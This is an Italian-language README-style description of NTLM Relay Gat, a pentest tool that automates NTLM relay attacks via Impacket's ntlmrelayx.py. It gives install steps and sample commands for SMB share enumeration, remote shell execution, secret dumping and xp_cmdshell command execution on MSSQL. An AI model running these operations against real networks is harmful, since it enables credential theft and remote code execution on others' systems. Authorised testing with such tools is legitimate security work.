
Automatizza lo sfruttamento del relay NTLM utilizzando ntlmrelayx.py per l'enumerazione delle condivisioni SMB, l'esecuzione di shell, il dump dei segreti e l'esecuzione di comandi MSSQL tramite sessioni multi-thread.

NTLM Relay Gat è un potente strumento progettato per automatizzare lo sfruttamento dei relay NTLM utilizzando ntlmrelayx.py della suite di strumenti Impacket. Sfruttando le capacità di ntlmrelayx.py, NTLM Relay Gat semplifica il processo di sfruttamento delle vulnerabilità dei relay NTLM, offrendo una gamma di funzionalità dall'elenco delle condivisioni SMB all'esecuzione di comandi sui database MSSQL.
Prima di iniziare, assicurati di aver soddisfatto i seguenti requisiti:
proxychains configurato correttamente con la porta di relay SOCKS di ntlmrelayxPer installare NTLM Relay Gat, segui questi passaggi:
Assicurati che Python 3.6 o superiore sia installato sul tuo sistema.
Clona il repository di NTLM Relay Gat:
git clone https://github.com/ad0nis/ntlm_relay_gat.git
cd ntlm_relay_gat
pip install -r requirements.txt
NTLM Relay Gat è ora installato e pronto per l'uso.
Per utilizzare NTLM Relay Gat, assicurati di avere sessioni relay nell'output del comando socks di ntlmrelayx.py e di aver configurato proxychains per utilizzare il proxy di ntlmrelayx.py, quindi esegui lo script con le opzioni desiderate. Ecco alcuni esempi di come eseguire NTLM Relay Gat:
# List available SMB shares using 10 threads
python ntlm_relay_gat.py --smb-shares -t 10
# Execute a shell via SMB
python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell
# Dump secrets from the target
python ntlm_relay_gat.py --dump-secrets
# List available MSSQL databases
python ntlm_relay_gat.py --mssql-dbs
# Execute an operating system command via xp_cmdshell
python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
NTLM Relay Gat è destinato esclusivamente a scopi educativi e di penetration testing etico. L'utilizzo di NTLM Relay Gat per attaccare target senza un previo consenso reciproco è illegale. Gli sviluppatori di NTLM Relay Gat non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento.
Questo progetto è concesso in licenza secondo i termini della licenza MIT - consulta il file LICENSE per i dettagli.